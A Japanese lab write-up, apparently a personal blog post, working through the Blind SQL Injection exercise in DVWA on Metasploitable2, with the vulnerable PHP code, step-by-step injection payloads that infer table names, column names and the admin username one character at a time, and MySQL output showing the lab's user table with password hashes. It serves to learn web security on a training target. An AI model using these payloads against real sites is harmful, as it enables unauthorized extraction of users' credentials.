SQL Injection(Blind SQL Injection)

SQLインジェクション - Wikipedia
ブラインドSQLインジェクションと呼ばれる手法も存在する。例えば、「テーブル名の1文字目がaのテーブルは存在するか?」「aで始まり2文字目がbのテーブルは存在するか?」などの情報を確認するサブクエリーを含め、その抽出の成否を丹念に集めていけば、テーブル名や項目名を確認できる。

Metasploitable2 から DVWA にログインする

Security Level : low を確認

  • 左欄から SQL Injection (Blind) を選択し、Vulnerability: SQL Injection (Blind) ページに移動する
  • 入力欄に 1 を入力してみる

f:id:hirose-test:20190917215803j:plain

<?php    
if (isset($_GET['Submit'])) {
    // Retrieve data
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
    $i = 0;

    while ($i < $num) {
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';
        $i++;
    }
}
?>

次に「1' and 1=1」を入力してみる。が、特に変化なし

f:id:hirose-test:20190917220211j:plain

コード上では
SELECT first_name, last_name FROM users WHERE user_id = '$id' ($id が置き換わる)
                             ↓
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1'

最後のクォーテーション「'」が不必要である。そこで、最後に「#」を付けて「1' and 1=1#」。"Submit" すると、表示される。
(# はクエリーの残りの部分をコメントアウトする)

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'

「1' and '1'='1」でもよい。

SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1'

f:id:hirose-test:20190917220357j:plain

次に「1' and 1=2#」で試すと、1=2 が false なので表示なし。

f:id:hirose-test:20190917220655j:plain

次に、サブクエリー(SELECT文で表示した結果を別の SELECT文で使う)がサポートされているか確認する。
MySQL :: MySQL 5.6 リファレンスマニュアル :: 13.2.10 サブクエリー構文

1' and (select 1) =1#

f:id:hirose-test:20190917222805j:plain

サポートされている。

それでは次に、admin というテーブルが存在すると推測して

1' and (select 1 from admin limit 0,1) =1#
(admin table から先頭 1行を取り出す)

f:id:hirose-test:20190917223030j:plain

表示されない。つまり admin table はない。

次に、テーブル名を users と推測してみる

1' and (select 1 from users limit 0,1) =1#

f:id:hirose-test:20190917223816j:plain

users table が存在することが分かる

次に、カラム名を推測する
まず pass というカラム名が存在すると仮定して

1' and (select substring(concat(1,pass),1,1) from users limit 0,1) =1#
(users table から、定数 1 に pass の名前を連結した文字列の 1 文字目から 1 つ取り出す)
( = 先頭文字が 1 )(1 = 1 ⇒ true)(カラム名 pass が存在しない場合 null ⇒ false)

concat は はてな 参照

f:id:hirose-test:20190917223855j:plain

表示されない

カラム名 password で試してみる

1' and (select substring(concat(1,password),1,1) from users limit 0,1) =1#

f:id:hirose-test:20190917230150j:plain

password というカラム名が存在することが分かる

次に user というカラム名を試す

1' and (select substring(concat(1,user),1,1) from users limit 0,1) =1#

f:id:hirose-test:20190917230352j:plain

user カラムも存在する
つまり、users テーブル、password, user カラムが存在することが分かる

次に、users テーブルの中の user カラムに存在するユーザー名の探索を行ってみる。

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 80#
from users limit 0,1 ⇒ users テーブルの先頭1レコード分から)
・SELECT concat(user, 0x3a, password) ⇒ user と password を 0x3a=: で区切って連結する  
・substring(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
・ASCII(str) > 80 ⇒ ASCIIコードが 80(大文字の P) より大きい場合 "真" とする  
つまり  
SELECT first_name, last_name FROM users WHERE user_id = '上記を挿入'

f:id:hirose-test:20190919230428j:plain 応答メッセージが表示されたので、ユーザー名の第1文字はASCIIコードの 80(これは P)よりも大きな値であることが分かる。

同様に

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 90#(Z)  
真

f:id:hirose-test:20190919231004j:plain

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 100#  
「d」偽

f:id:hirose-test:20190919231057j:plain

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 96#  
「`」真

f:id:hirose-test:20190919231305j:plain

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 97#  
「a」偽
よって、1文字目は「a」

f:id:hirose-test:20190919231443j:plain

ちなみに生DBを見てみると

mysql> select first_name, last_name from users;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     | 
| Gordon     | Brown     | 
| Hack       | Me        | 
| Pablo      | Picasso   | 
| Bob        | Smith     | 
+------------+-----------+
5 rows in set (0.00 sec)

同様に、2文字目以降を探っていく

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),2,1)) > 99#  
「c」真

f:id:hirose-test:20190919232516j:plain

 
1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),2,1)) > 100#  
「d」偽  
よって、2文字目は「d」

f:id:hirose-test:20190919232616j:plain

同様に、3、4、5文字目と解いていくと「a」「d」「m」「i」「n」6文字目で concat で付けた「: コロン 16進 0x3a 10進58」 となるので終了。

補足 SELECT 1 とは

Oracle SELECT(*)とSELECT(1)の違いについて | プログラミング勉強備忘録
COUNT文の構文でCOUNT(1)は、カラムの1番目を取得して件数を取得する記述方法と思っていました。
ですのでNULL値を含まない件数が取得できると思っていましたが違うようです。
1は定数を指定しているので必ずNULL以外になります。
1を指定した場合のCOUNT(expr)は、式が常に1になるため、レコード数が常にカウントされます。
ですので結論COUNT(*)と同じ件数が取得できます。

mysql> select * from users;          
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| user_id | first_name | last_name | user    | password                         | avatar                                                |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | http://192.168.56.105/dvwa/hackable/users/admin.jpg   | 
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | http://192.168.56.105/dvwa/hackable/users/gordonb.jpg | 
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | http://192.168.56.105/dvwa/hackable/users/1337.jpg    | 
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://192.168.56.105/dvwa/hackable/users/pablo.jpg   | 
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | http://192.168.56.105/dvwa/hackable/users/smithy.jpg  | 
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
5 rows in set (0.00 sec)

mysql> select 1 from users;          
+---+
| 1 |
+---+
| 1 | 
| 1 | 
| 1 | 
| 1 | 
| 1 | 
+---+
5 rows in set (0.00 sec)

mysql> select 2 from users;
+---+
| 2 |
+---+
| 2 | 
| 2 | 
| 2 | 
| 2 | 
| 2 | 
+---+
5 rows in set (0.00 sec)

mysql> select concat(1,password) from users;               
+-----------------------------------+
| concat(1,password)                |
+-----------------------------------+
| 15f4dcc3b5aa765d61d8327deb882cf99 | 
| 1e99a18c428cb38d5f260853678922e03 | 
| 18d3533d75ae2c3966d7e0d4fcc69216b | 
| 10d107d09f5bbe40cade3de5c71e9e9b7 | 
| 15f4dcc3b5aa765d61d8327deb882cf99 | 
+-----------------------------------+
5 rows in set (0.01 sec)

mysql> select substring(concat(1,password),1,1) from users;
+-----------------------------------+
| substring(concat(1,password),1,1) |
+-----------------------------------+
| 1                                 | 
| 1                                 | 
| 1                                 | 
| 1                                 | 
| 1                                 | 
+-----------------------------------+
5 rows in set (0.00 sec)

mysql> select substring(concat(1,password),1,1) from users limit 0,1;
+-----------------------------------+
| substring(concat(1,password),1,1) |
+-----------------------------------+
| 1                                 | 
+-----------------------------------+
1 row in set (0.00 sec)

【SQL】EXISTS句の中は"SELECT *" か"SELECT 1"か - 16bit!

MySQL の関数と演算子

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数

SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)
len 引数を付けない形式では、位置 pos で始まる文字列 str からの部分文字列が返されます。
len 引数を付けた形式では、位置 pos で始まる文字列 str からの部分文字列 len 文字長が返されます。
FROM を使用する形式は、標準の SQL 構文です。また、pos に負の値を使用することもできます。その場合、部分文字列の先頭は文字列の先頭でなく、文字列の末尾からの pos 文字になります。 この関数のどの形式でも、pos で負の値を使用できます。  
すべての形式の SUBSTRING() で、部分文字列の抽出が開始される文字列内の最初の文字の位置が 1 とみなされます。

mysql> SELECT SUBSTRING('Quadratically',5);
        -> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
        -> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
        -> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
        -> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
        -> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
        -> 'ki'

 
この関数はマルチバイトセーフです。
len が 1 よりも小さい場合は、結果が空の文字列になります。

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数

ASCII(str)
文字列 str の左端の文字の数値(ASCIIコード)を返します。str が空の文字列である場合は、0 を返します。str が NULL である場合は NULL を返します。ASCII() は、8 ビット文字の場合に動作します。

mysql> SELECT ASCII('2');
        -> 50
mysql> SELECT ASCII(2);
        -> 50
mysql> SELECT ASCII('dx');
        -> 100

ORD() 関数も参照してください。
ASCII - Wikipedia

/* -----codeの行番号----- */